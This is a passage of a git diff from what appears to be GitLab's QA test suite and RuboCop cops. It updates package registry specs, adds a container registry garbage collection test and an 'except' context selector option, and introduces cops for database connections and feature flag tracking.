diff --git a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
index 9c00f1f6d17..fb92616ffc5 100644
--- a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
@@ -3,7 +3,7 @@
require 'securerandom'
module QA
- RSpec.describe 'Package', :orchestrated, :packages, :reliable do
+ RSpec.describe 'Package', :orchestrated, :packages, :reliable, :object_storage do
describe 'Maven Repository' do
include Runtime::Fixtures
@@ -33,7 +33,7 @@ module QA
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = package_name
package.project = project
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
index c4bfaacca11..2322d18a9ba 100644
--- a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Package', :orchestrated, :packages, :reliable do
+ RSpec.describe 'Package', :orchestrated, :packages, :reliable, :object_storage do
describe 'npm registry' do
include Runtime::Fixtures
@@ -50,7 +50,7 @@ module QA
stages:
- deploy
-
+
deploy:
stage: deploy
script:
@@ -72,7 +72,7 @@ module QA
stages:
- install
-
+
install:
stage: install
script:
@@ -120,7 +120,7 @@ module QA
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = "@#{registry_scope}/#{project.name}"
package.project = project
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
index daf41f1c6ab..1f62b285798 100644
--- a/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
@@ -3,7 +3,7 @@
require 'securerandom'
module QA
- RSpec.describe 'Package', :orchestrated, :packages do
+ RSpec.describe 'Package', :orchestrated, :packages, :object_storage do
describe 'NuGet Repository' do
include Runtime::Fixtures
let(:project) do
@@ -14,7 +14,7 @@ module QA
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = "dotnetcore-#{SecureRandom.hex(8)}"
package.project = project
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/online_garbage_collection_spec.rb b/qa/qa/specs/features/browser_ui/5_package/online_garbage_collection_spec.rb
new file mode 100644
index 00000000000..65fc12545b7
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/5_package/online_garbage_collection_spec.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Package' do
+ describe 'Container Registry Online Garbage Collection', :registry_gc, only: { subdomain: %i[pre] } do
+ let(:group) { Resource::Group.fabricate_via_api! }
+
+ let(:imported_project) do
+ Resource::ProjectImportedFromURL.fabricate_via_browser_ui! do |project|
+ project.name = 'container-registry'
+ project.group = group
+ project.gitlab_repository_path = 'https://gitlab.com/gitlab-org/container-registry.git'
+ end
+ end
+
+ let!(:gitlab_ci_yaml) do
+ <<~YAML
+ variables:
+ GOPATH: $CI_PROJECT_DIR/.go
+ BUILD_CACHE: $CI_PROJECT_DIR/.online-gc-tester
+ STAGE_ONE_VALIDATION_DELAY: "6m"
+ STAGE_TWO_VALIDATION_DELAY: "12m"
+ STAGE_THREE_VALIDATION_DELAY: "6m"
+ STAGE_FOUR_VALIDATION_DELAY: "12m"
+ STAGE_FIVE_VALIDATION_DELAY: "12m"
+
+ stages:
+ - generate
+ - build
+ - test
+
+ .base: &base
+ image: docker:19
+ services:
+ - docker:19-dind
+ variables:
+ DOCKER_HOST: tcp://docker:2376
+ DOCKER_TLS_CERTDIR: "/certs"
+ DOCKER_TLS_VERIFY: 1
+ DOCKER_CERT_PATH: "$DOCKER_TLS_CERTDIR/client"
+ before_script:
+ - until docker info; do sleep 1; done
+ - mkdir -p $GOPATH
+ - mkdir -p $BUILD_CACHE
+ - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
+
+ test:
+ stage: generate
+ extends: .base
+ script:
+ - apk add go make git
+ - make binaries
+ - ./bin/online-gc-tester generate --base-dir=$BUILD_CACHE
+ - ./bin/online-gc-tester build --base-dir=$BUILD_CACHE
+ - ./bin/online-gc-tester push --base-dir=$BUILD_CACHE
+ - ./bin/online-gc-tester pull --base-dir=$BUILD_CACHE
+ - ./bin/online-gc-tester test --base-dir=$BUILD_CACHE --stage=1 --delay=$STAGE_ONE_VALIDATION_DELAY
+ - ./bin/online-gc-tester test --base-dir=$BUILD_CACHE --stage=2 --delay=$STAGE_TWO_VALIDATION_DELAY
+ - ./bin/online-gc-tester test --base-dir=$BUILD_CACHE --stage=3 --delay=$STAGE_THREE_VALIDATION_DELAY
+ - ./bin/online-gc-tester test --base-dir=$BUILD_CACHE --stage=4 --delay=$STAGE_FOUR_VALIDATION_DELAY
+ - ./bin/online-gc-tester test --base-dir=$BUILD_CACHE --stage=5 --delay=$STAGE_FIVE_VALIDATION_DELAY
+ timeout: 1h 30m
+ YAML
+ end
+
+ before do
+ Flow::Login.sign_in
+
+ imported_project
+
+ Page::Project::Menu.perform(&:go_to_repository_settings)
+
+ Page::Project::Settings::Repository.perform do |setting|
+ setting.expand_default_branch
+ end
+
+ Page::Project::Settings::DefaultBranch.perform do |setting|
+ setting.set_default_branch('online-gc-test-builder-poc')
+ setting.click_save_changes_button
+ end
+
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = imported_project
+ commit.branch = 'online-gc-test-builder-poc'
+ commit.commit_message = 'Update .gitlab-ci.yml'
+ commit.update_files([{
+ file_path: '.gitlab-ci.yml',
+ content: gitlab_ci_yaml
+ }])
+ end
+ end
+
+ it 'runs the online garbage collector tool', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1854' do
+ imported_project.visit!
+
+ Flow::Pipeline.visit_latest_pipeline
+
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('test')
+ end
+
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 3900)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
index fb29af43da6..a9034174cab 100644
--- a/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Package', :orchestrated, :packages do
+ RSpec.describe 'Package', :orchestrated, :packages, :object_storage do
describe 'PyPI Repository' do
include Runtime::Fixtures
let(:project) do
@@ -11,7 +11,7 @@ module QA
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = 'mypypipackage'
package.project = project
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/rubygems_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/rubygems_registry_spec.rb
index 5d15885cd67..530a3243766 100644
--- a/qa/qa/specs/features/browser_ui/5_package/rubygems_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/rubygems_registry_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Package', :orchestrated, :requires_admin, :packages do
+ RSpec.describe 'Package', :orchestrated, :requires_admin, :packages, :object_storage do
describe 'RubyGems Repository' do
include Runtime::Fixtures
@@ -12,7 +12,7 @@ module QA
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = 'mygem'
package.project = project
end
diff --git a/qa/qa/specs/helpers/context_selector.rb b/qa/qa/specs/helpers/context_selector.rb
index 4313f7c34dd..40ecb9b3506 100644
--- a/qa/qa/specs/helpers/context_selector.rb
+++ b/qa/qa/specs/helpers/context_selector.rb
@@ -13,15 +13,17 @@ module QA
config.before do |example|
if example.metadata.key?(:only)
skip('Test is not compatible with this environment or pipeline') unless ContextSelector.context_matches?(example.metadata[:only])
- elsif example.metadata.key?(:exclude)
- skip('Test is excluded in this job') if ContextSelector.exclude?(example.metadata[:exclude])
+ elsif example.metadata.key?(:except)
+ skip('Test is excluded in this job') if ContextSelector.except?(example.metadata[:except])
end
end
end
end
- def exclude?(*options)
- return false unless Runtime::Env.ci_job_name.present?
+ def except?(*options)
+ return false if Runtime::Env.ci_job_name.blank? && options.any? { |o| o.is_a?(Hash) && o[:job].present? }
+ return false if Runtime::Env.ci_project_name.blank? && options.any? { |o| o.is_a?(Hash) && o[:pipeline].present? }
+ return false if Runtime::Scenario.attributes[:gitlab_address].blank?
context_matches?(*options)
end
@@ -40,10 +42,14 @@ module QA
next unless option.is_a?(Hash)
- if option[:pipeline].present? && Runtime::Env.ci_project_name.present?
+ if option[:pipeline].present?
+ return true if Runtime::Env.ci_project_name.blank?
+
return pipeline_matches?(option[:pipeline])
elsif option[:job].present?
+ return true if Runtime::Env.ci_job_name.blank?
+
return job_matches?(option[:job])
elsif option[:subdomain].present?
diff --git a/qa/qa/specs/runner.rb b/qa/qa/specs/runner.rb
index ff690962db8..bd9907611c7 100644
--- a/qa/qa/specs/runner.rb
+++ b/qa/qa/specs/runner.rb
@@ -65,6 +65,8 @@ module QA
args.push(DEFAULT_TEST_PATH_ARGS) unless options.any? { |opt| opt =~ %r{/features/} }
end
+ Runtime::Scenario.define(:large_setup?, args.flatten.include?('can_use_large_setup'))
+
if Runtime::Scenario.attributes[:parallel]
ParallelRunner.run(args.flatten)
elsif Runtime::Scenario.attributes[:loop]
diff --git a/qa/spec/runtime/env_spec.rb b/qa/spec/runtime/env_spec.rb
index 8218ab428b0..1d702b70d10 100644
--- a/qa/spec/runtime/env_spec.rb
+++ b/qa/spec/runtime/env_spec.rb
@@ -54,10 +54,10 @@ RSpec.describe QA::Runtime::Env do
default: false
end
- describe '.chrome_headless?' do
+ describe '.webdriver_headless?' do
it_behaves_like 'boolean method',
- method: :chrome_headless?,
- env_key: 'CHROME_HEADLESS',
+ method: :webdriver_headless?,
+ env_key: 'WEBDRIVER_HEADLESS',
default: true
end
diff --git a/qa/spec/service/docker_run/gitlab_runner_spec.rb b/qa/spec/service/docker_run/gitlab_runner_spec.rb
index 34d95943321..a8838db10cf 100644
--- a/qa/spec/service/docker_run/gitlab_runner_spec.rb
+++ b/qa/spec/service/docker_run/gitlab_runner_spec.rb
@@ -130,7 +130,7 @@ module QA
end
it 'mounts the docker socket to the host runner' do
- expect(subject).to have_received(:shell).with(/-v \/var\/run\/docker.sock:\/var\/run\/docker.sock /)
+ expect(subject).to have_received(:shell).with(%r{-v /var/run/docker.sock:/var/run/docker.sock })
end
it 'runs in privileged mode' do
diff --git a/qa/spec/specs/helpers/context_selector_spec.rb b/qa/spec/specs/helpers/context_selector_spec.rb
index 7792d33dcf9..f0250103008 100644
--- a/qa/spec/specs/helpers/context_selector_spec.rb
+++ b/qa/spec/specs/helpers/context_selector_spec.rb
@@ -49,8 +49,10 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
it 'matches multiple subdomains' do
QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
- expect(described_class.context_matches?(subdomain: [:release, :staging])).to be_truthy
- expect(described_class.context_matches?(:production, subdomain: [:release, :staging])).to be_truthy
+ aggregate_failures do
+ expect(described_class.context_matches?(subdomain: [:release, :staging])).to be_truthy
+ expect(described_class.context_matches?(:production, subdomain: [:release, :staging])).to be_truthy
+ end
end
it 'matches :production' do
@@ -87,6 +89,16 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
expect(group.examples[0].execution_result.status).to eq(:passed)
end
+
+ context 'when excluding contexts' do
+ it 'can apply to contexts or descriptions' do
+ group = describe_successfully 'skips staging', except: { subdomain: :staging } do
+ it('skips staging') {}
+ end
+
+ expect(group.examples[0].execution_result.status).to eq(:pending)
+ end
+ end
end
context 'with different environment set' do
@@ -102,6 +114,16 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
expect(group.examples[0].execution_result.status).to eq(:pending)
end
+
+ context 'when excluding contexts' do
+ it 'runs against production' do
+ group = describe_successfully 'Runs in staging', :something, except: { subdomain: :staging } do
+ it('runs in staging') {}
+ end
+
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ end
+ end
end
end
@@ -113,10 +135,28 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
it('runs in any env') {}
end
- expect(group.examples[0].execution_result.status).to eq(:passed)
- expect(group.examples[1].execution_result.status).to eq(:pending)
- expect(group.examples[2].execution_result.status).to eq(:passed)
- expect(group.examples[3].execution_result.status).to eq(:passed)
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ expect(group.examples[1].execution_result.status).to eq(:pending)
+ expect(group.examples[2].execution_result.status).to eq(:passed)
+ expect(group.examples[3].execution_result.status).to eq(:passed)
+ end
+ end
+
+ context 'when excluding contexts' do
+ it 'skips staging' do
+ group = describe_successfully do
+ it('skips staging', except: { subdomain: :staging }) {}
+ it('runs in staging', except: :production) {}
+ it('skips staging also', except: { subdomain: %i[release staging] }) {}
+ end
+
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:pending)
+ expect(group.examples[1].execution_result.status).to eq(:passed)
+ expect(group.examples[2].execution_result.status).to eq(:pending)
+ end
+ end
end
context 'custom env' do
@@ -130,8 +170,24 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
it('does not run on release', only: :production) {}
end
- expect(group.examples.first.execution_result.status).to eq(:passed)
- expect(group.examples.last.execution_result.status).to eq(:pending)
+ aggregate_failures do
+ expect(group.examples.first.execution_result.status).to eq(:passed)
+ expect(group.examples.last.execution_result.status).to eq(:pending)
+ end
+ end
+
+ context 'when excluding contexts' do
+ it 'skips a custom environment' do
+ group = describe_successfully do
+ it('skips release gitlab net', except: { tld: '.net', subdomain: :release, domain: 'gitlab' }) {}
+ it('runs on release', except: :production) {}
+ end
+
+ aggregate_failures do
+ expect(group.examples.first.execution_result.status).to eq(:pending)
+ expect(group.examples.last.execution_result.status).to eq(:passed)
+ end
+ end
end
end
@@ -147,9 +203,27 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
it('runs in prod and staging', only: { subdomain: /(staging.)?/, domain: 'gitlab' }) {}
end
- expect(group.examples[0].execution_result.status).to eq(:passed)
- expect(group.examples[1].execution_result.status).to eq(:pending)
- expect(group.examples[2].execution_result.status).to eq(:passed)
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ expect(group.examples[1].execution_result.status).to eq(:pending)
+ expect(group.examples[2].execution_result.status).to eq(:passed)
+ end
+ end
+
+ context 'when excluding contexts' do
+ it 'skips production' do
+ group = describe_successfully do
+ it('skips prod', except: :production) {}
+ it('runs on prod', except: { subdomain: :staging }) {}
+ it('skips prod and staging', except: { subdomain: /(staging.)?/, domain: 'gitlab' }) {}
+ end
+
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:pending)
+ expect(group.examples[1].execution_result.status).to eq(:passed)
+ expect(group.examples[2].execution_result.status).to eq(:pending)
+ end
+ end
end
end
@@ -179,6 +253,21 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
expect(group.examples[1].execution_result.status).to eq(:passed)
end
end
+
+ context 'when excluding contexts' do
+ it 'runs in any pipeline' do
+ group = describe_successfully do
+ it('runs given a single named pipeline', except: { pipeline: :nightly }) {}
+ it('runs given an array of pipelines', except: { pipeline: [:canary, :not_nightly] }) {}
+ end
+
+ aggregate_failures do
+ group.examples.each do |example|
+ expect(example.execution_result.status).to eq(:passed)
+ end
+ end
+ end
+ end
end
context 'when a pipeline triggered from the default branch runs in gitlab-qa' do
@@ -200,6 +289,22 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
expect(group.examples[2].execution_result.status).to eq(:pending)
end
end
+
+ context 'when excluding contexts' do
+ it 'skips default branch pipelines' do
+ group = describe_successfully do
+ it('skips main pipeline given a single pipeline', except: { pipeline: :main }) {}
+ it('skips main given an array of pipelines', except: { pipeline: [:canary, :main] }) {}
+ it('runs non-default pipelines', except: { pipeline: [:nightly, :not_nightly, :not_main] }) {}
+ end
+
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:pending)
+ expect(group.examples[1].execution_result.status).to eq(:pending)
+ expect(group.examples[2].execution_result.status).to eq(:passed)
+ end
+ end
+ end
end
context 'with CI_PROJECT_NAME set' do
@@ -223,24 +328,42 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
expect(group.examples[3].execution_result.status).to eq(:pending)
end
end
+
+ context 'when excluding contexts' do
+ it 'skips designated pipeline' do
+ group = describe_successfully do
+ it('skips nightly', except: { pipeline: :nightly }) {}
+ it('runs in not_nightly', except: { pipeline: :not_nightly }) {}
+ it('skips on nightly given an array', except: { pipeline: [:canary, :nightly] }) {}
+ it('runs in not_nightly given an array', except: { pipeline: [:not_nightly, :canary] }) {}
+ end
+
+ aggregate_failures do
+ expect(group.examples[0].execution_result.status).to eq(:pending)
+ expect(group.examples[1].execution_result.status).to eq(:passed)
+ expect(group.examples[2].execution_result.status).to eq(:pending)
+ expect(group.examples[3].execution_result.status).to eq(:passed)
+ end
+ end
+ end
end
end
- context 'when excluding contexts' do
- context 'with job constraints' do
- context 'without CI_JOB_NAME set' do
- before do
- stub_env('CI_JOB_NAME', nil)
- described_class.configure_rspec
- end
+ context 'with job constraints' do
+ context 'without CI_JOB_NAME set' do
+ before do
+ stub_env('CI_JOB_NAME', nil)
+ described_class.configure_rspec
+ end
+ context 'when excluding contexts' do
it 'runs in any job' do
group = describe_successfully do
- it('runs given a single named job', exclude: { job: 'ee:instance-image' }) {}
- it('runs given a single regex pattern', exclude: { job: '.*:instance-image' }) {}
- it('runs given an array of jobs', exclude: { job: %w[ee:instance-image qa-schedules-browser_ui-3_create] }) {}
- it('runs given an array of regex patterns', exclude: { job: %w[ee:.* qa-schedules-browser_ui.*] }) {}
- it('runs given a mix of strings and regex patterns', exclude: { job: %w[ee:instance-image qa-schedules-browser_ui.*] }) {}
+ it('runs given a single named job', except: { job: 'ee:instance-image' }) {}
+ it('runs given a single regex pattern', except: { job: '.*:instance-image' }) {}
+ it('runs given an array of jobs', except: { job: %w[ee:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('runs given an array of regex patterns', except: { job: %w[ee:.* qa-schedules-browser_ui.*] }) {}
+ it('runs given a mix of strings and regex patterns', except: { job: %w[ee:instance-image qa-schedules-browser_ui.*] }) {}
end
aggregate_failures do
@@ -251,19 +374,39 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
end
end
- context 'with CI_JOB_NAME set' do
- before do
- stub_env('CI_JOB_NAME', 'ee:instance-image')
- described_class.configure_rspec
+ context 'when including only specific contexts' do
+ it 'runs in any job' do
+ group = describe_successfully do
+ it('runs given a single named job', only: { job: 'ee:instance-image' }) {}
+ it('runs given a single regex pattern', only: { job: '.*:instance-image' }) {}
+ it('runs given an array of jobs', only: { job: %w[ee:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('runs given an array of regex patterns', only: { job: %w[ee:.* qa-schedules-browser_ui.*] }) {}
+ it('runs given a mix of strings and regex patterns', only: { job: %w[ee:instance-image qa-schedules-browser_ui.*] }) {}
+ end
+
+ aggregate_failures do
+ group.examples.each do |example|
+ expect(example.execution_result.status).to eq(:passed)
+ end
+ end
end
+ end
+ end
+
+ context 'with CI_JOB_NAME set' do
+ before do
+ stub_env('CI_JOB_NAME', 'ee:instance-image')
+ described_class.configure_rspec
+ end
+ context 'when excluding contexts' do
it 'does not run in the specified job' do
group = describe_successfully do
- it('skips given a single named job', exclude: { job: 'ee:instance-image' }) {}
- it('skips given a single regex pattern', exclude: { job: '.*:instance-image' }) {}
- it('skips given an array of jobs', exclude: { job: %w[ee:instance-image qa-schedules-browser_ui-3_create] }) {}
- it('skips given an array of regex patterns', exclude: { job: %w[ee:.* qa-schedules-browser_ui.*] }) {}
- it('skips given a mix of strings and regex patterns', exclude: { job: %w[ee:instance-image qa-schedules-browser_ui.*] }) {}
+ it('skips given a single named job', except: { job: 'ee:instance-image' }) {}
+ it('skips given a single regex pattern', except: { job: '.*:instance-image' }) {}
+ it('skips given an array of jobs', except: { job: %w[ee:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('skips given an array of regex patterns', except: { job: %w[ee:.* qa-schedules-browser_ui.*] }) {}
+ it('skips given a mix of strings and regex patterns', except: { job: %w[ee:instance-image qa-schedules-browser_ui.*] }) {}
end
aggregate_failures do
@@ -275,11 +418,11 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
it 'runs in jobs that do not match' do
group = describe_successfully do
- it('runs given a single named job', exclude: { job: 'ce:instance-image' }) {}
- it('runs given a single regex pattern', exclude: { job: '.*:instance-image-quarantine' }) {}
- it('runs given an array of jobs', exclude: { job: %w[ce:instance-image qa-schedules-browser_ui-3_create] }) {}
- it('runs given an array of regex patterns', exclude: { job: %w[ce:.* qa-schedules-browser_ui.*] }) {}
- it('runs given a mix of strings and regex patterns', exclude: { job: %w[ce:instance-image qa-schedules-browser_ui.*] }) {}
+ it('runs given a single named job', except: { job: 'ce:instance-image' }) {}
+ it('runs given a single regex pattern', except: { job: '.*:instance-image-quarantine' }) {}
+ it('runs given an array of jobs', except: { job: %w[ce:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('runs given an array of regex patterns', except: { job: %w[ce:.* qa-schedules-browser_ui.*] }) {}
+ it('runs given a mix of strings and regex patterns', except: { job: %w[ce:instance-image qa-schedules-browser_ui.*] }) {}
end
aggregate_failures do
@@ -289,6 +432,40 @@ RSpec.describe QA::Specs::Helpers::ContextSelector do
end
end
end
+
+ context 'when including only specific contexts' do
+ it 'runs only in the specified jobs' do
+ group = describe_successfully do
+ it('runs given a single named job', only: { job: 'ee:instance-image' }) {}
+ it('runs given a single regex pattern', only: { job: '.*:instance-image' }) {}
+ it('runs given an array of jobs', only: { job: %w[ee:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('runs given an array of regex patterns', only: { job: %w[ee:.* qa-schedules-browser_ui.*] }) {}
+ it('runs given a mix of strings and regex patterns', only: { job: %w[ee:instance-image qa-schedules-browser_ui.*] }) {}
+ end
+
+ aggregate_failures do
+ group.examples.each do |example|
+ expect(example.execution_result.status).to eq(:passed)
+ end
+ end
+ end
+
+ it 'does not run in jobs that do not match' do
+ group = describe_successfully do
+ it('skips given a single named job', only: { job: 'ce:instance-image' }) {}
+ it('skips given a single regex pattern', only: { job: '.*:instance-image-quarantine' }) {}
+ it('skips given an array of jobs', only: { job: %w[ce:instance-image qa-schedules-browser_ui-3_create] }) {}
+ it('skips given an array of regex patterns', only: { job: %w[ce:.* qa-schedules-browser_ui.*] }) {}
+ it('skips given a mix of strings and regex patterns', only: { job: %w[ce:instance-image qa-schedules-browser_ui.*] }) {}
+ end
+
+ aggregate_failures do
+ group.examples.each do |example|
+ expect(example.execution_result.status).to eq(:pending)
+ end
+ end
+ end
+ end
end
end
end
diff --git a/qa/tasks/webdrivers.rake b/qa/tasks/webdrivers.rake
new file mode 100644
index 00000000000..f4fa3fab555
--- /dev/null
+++ b/qa/tasks/webdrivers.rake
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require 'webdrivers'
+load 'webdrivers/Rakefile'
diff --git a/rubocop/code_reuse_helpers.rb b/rubocop/code_reuse_helpers.rb
index 63019c43943..283c43de227 100644
--- a/rubocop/code_reuse_helpers.rb
+++ b/rubocop/code_reuse_helpers.rb
@@ -32,59 +32,79 @@ module RuboCop
# Returns true if the given node resides in app/finders or ee/app/finders.
def in_finder?(node)
- in_directory?(node, 'finders')
+ in_app_directory?(node, 'finders')
end
# Returns true if the given node resides in app/models or ee/app/models.
def in_model?(node)
- in_directory?(node, 'models')
+ in_app_directory?(node, 'models')
end
# Returns true if the given node resides in app/services or ee/app/services.
def in_service_class?(node)
- in_directory?(node, 'services')
+ in_app_directory?(node, 'services')
end
# Returns true if the given node resides in app/presenters or
# ee/app/presenters.
def in_presenter?(node)
- in_directory?(node, 'presenters')
+ in_app_directory?(node, 'presenters')
end
# Returns true if the given node resides in app/serializers or
# ee/app/serializers.
def in_serializer?(node)
- in_directory?(node, 'serializers')
+ in_app_directory?(node, 'serializers')
end
# Returns true if the given node resides in app/workers or ee/app/workers.
def in_worker?(node)
- in_directory?(node, 'workers')
+ in_app_directory?(node, 'workers')
end
# Returns true if the given node resides in app/controllers or
# ee/app/controllers.
def in_controller?(node)
- in_directory?(node, 'controllers')
+ in_app_directory?(node, 'controllers')
+ end
+
+ # Returns true if the given node resides in app/graphql/types,
+ # ee/app/graphql/types, or ee/app/graphql/ee/types.
+ def in_graphql_types?(node)
+ in_app_directory?(node, 'graphql/types') || in_app_directory?(node, 'graphql/ee/types')
end
# Returns true if the given node resides in lib/api or ee/lib/api.
def in_api?(node)
+ in_lib_directory?(node, 'api')
+ end
+
+ # Returns true if the given node resides in spec or ee/spec.
+ def in_spec?(node)
file_path_for_node(node).start_with?(
- File.join(ce_lib_directory, 'api'),
- File.join(ee_lib_directory, 'api')
+ ce_spec_directory,
+ ee_spec_directory
)
end
# Returns `true` if the given AST node resides in the given directory,
# relative to app and/or ee/app.
- def in_directory?(node, directory)
+ def in_app_directory?(node, directory)
file_path_for_node(node).start_with?(
File.join(ce_app_directory, directory),
File.join(ee_app_directory, directory)
)
end
+ # Returns `true` if the given AST node resides in the given directory,
+ # relative to lib and/or ee/lib.
+ def in_lib_directory?(node, directory)
+ file_path_for_node(node).start_with?(
+ File.join(ce_lib_directory, directory),
+ File.join(ee_lib_directory, directory)
+ )
+ end
+
# Returns the receiver name of a send node.
#
# For the AST node `(send (const nil? :Foo) ...)` this would return
@@ -149,6 +169,14 @@ module RuboCop
File.join(rails_root, 'ee', 'lib')
end
+ def ce_spec_directory
+ File.join(rails_root, 'spec')
+ end
+
+ def ee_spec_directory
+ File.join(rails_root, 'ee', 'spec')
+ end
+
def rails_root
File.expand_path('..', __dir__)
end
diff --git a/rubocop/cop/database/multiple_databases.rb b/rubocop/cop/database/multiple_databases.rb
new file mode 100644
index 00000000000..fb6e81f9845
--- /dev/null
+++ b/rubocop/cop/database/multiple_databases.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Database
+ # @example
+ # # bad
+ # ActiveRecord::Base.connection
+ #
+ # # good
+ # ApplicationRecord.connection
+ #
+ class MultipleDatabases < RuboCop::Cop::Cop
+ AR_BASE_MESSAGE = <<~EOF
+ Do not use methods from ActiveRecord::Base, use the ApplicationRecord class instead
+ For fixing offenses related to the ActiveRecord::Base.transaction method, see our guidelines:
+ https://docs.gitlab.com/ee/development/database/transaction_guidelines.html
+ EOF
+
+ def_node_matcher :active_record_base_method_is_used?, <<~PATTERN
+ (send (const (const nil? :ActiveRecord) :Base) $_)
+ PATTERN
+
+ def on_send(node)
+ return unless active_record_base_method_is_used?(node)
+
+ add_offense(node, location: :expression, message: AR_BASE_MESSAGE)
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/gitlab/duplicate_spec_location.rb b/rubocop/cop/gitlab/duplicate_spec_location.rb
index 025f75d644f..ece3b9313d9 100644
--- a/rubocop/cop/gitlab/duplicate_spec_location.rb
+++ b/rubocop/cop/gitlab/duplicate_spec_location.rb
@@ -25,7 +25,7 @@ module RuboCop
MSG = 'Duplicate spec location in `%<path>s`.'
def on_top_level_describe(node, _args)
- path = file_path_for_node(node).sub(/\A#{rails_root}\//, '')
+ path = file_path_for_node(node).sub(%r{\A#{rails_root}/}, '')
duplicate_path = find_duplicate_path(path)
if duplicate_path && File.exist?(File.join(rails_root, duplicate_path))
diff --git a/rubocop/cop/gitlab/mark_used_feature_flags.rb b/rubocop/cop/gitlab/mark_used_feature_flags.rb
new file mode 100644
index 00000000000..2a020d6efb2
--- /dev/null
+++ b/rubocop/cop/gitlab/mark_used_feature_flags.rb
@@ -0,0 +1,265 @@
+# frozen_string_literal: true
+
+require_relative '../../code_reuse_helpers'
+
+module RuboCop
+ module Cop
+ module Gitlab
+ # This cop tracks the usage of feature flags among the codebase.
+ #
+ # The files set in `tmp/feature_flags/*.used` can then be used for verification purpose.
+ #
+ class MarkUsedFeatureFlags < RuboCop::Cop::Cop
+ include RuboCop::CodeReuseHelpers
+
+ FEATURE_METHODS = %i[enabled? disabled?].freeze
+ EXPERIMENTATION_METHODS = %i[active?].freeze
+ EXPERIMENT_METHODS = %i[
+ experiment
+ experiment_enabled?
+ push_frontend_experiment
+ ].freeze
+ RUGGED_METHODS = %i[
+ use_rugged?
+ ].freeze
+ WORKER_METHODS = %i[
+ data_consistency
+ deduplicate
+ ].freeze
+ GRAPHQL_METHODS = %i[
+ field
+ ].freeze
+ SELF_METHODS = %i[
+ push_frontend_feature_flag
+ limit_feature_flag=
+ ].freeze + EXPERIMENT_METHODS + RUGGED_METHODS + WORKER_METHODS
+
+ RESTRICT_ON_SEND = FEATURE_METHODS + EXPERIMENTATION_METHODS + GRAPHQL_METHODS + SELF_METHODS
+
+ USAGE_DATA_COUNTERS_EVENTS_YAML_GLOBS = [
+ File.expand_path("../../../config/metrics/aggregates/*.yml", __dir__),
+ File.expand_path("../../../lib/gitlab/usage_data_counters/known_events/*.yml", __dir__)
+ ].freeze
+
+ DYNAMIC_FEATURE_FLAGS = [
+ :usage_data_static_site_editor_commits, # https://gitlab.com/gitlab-org/gitlab/-/issues/284082
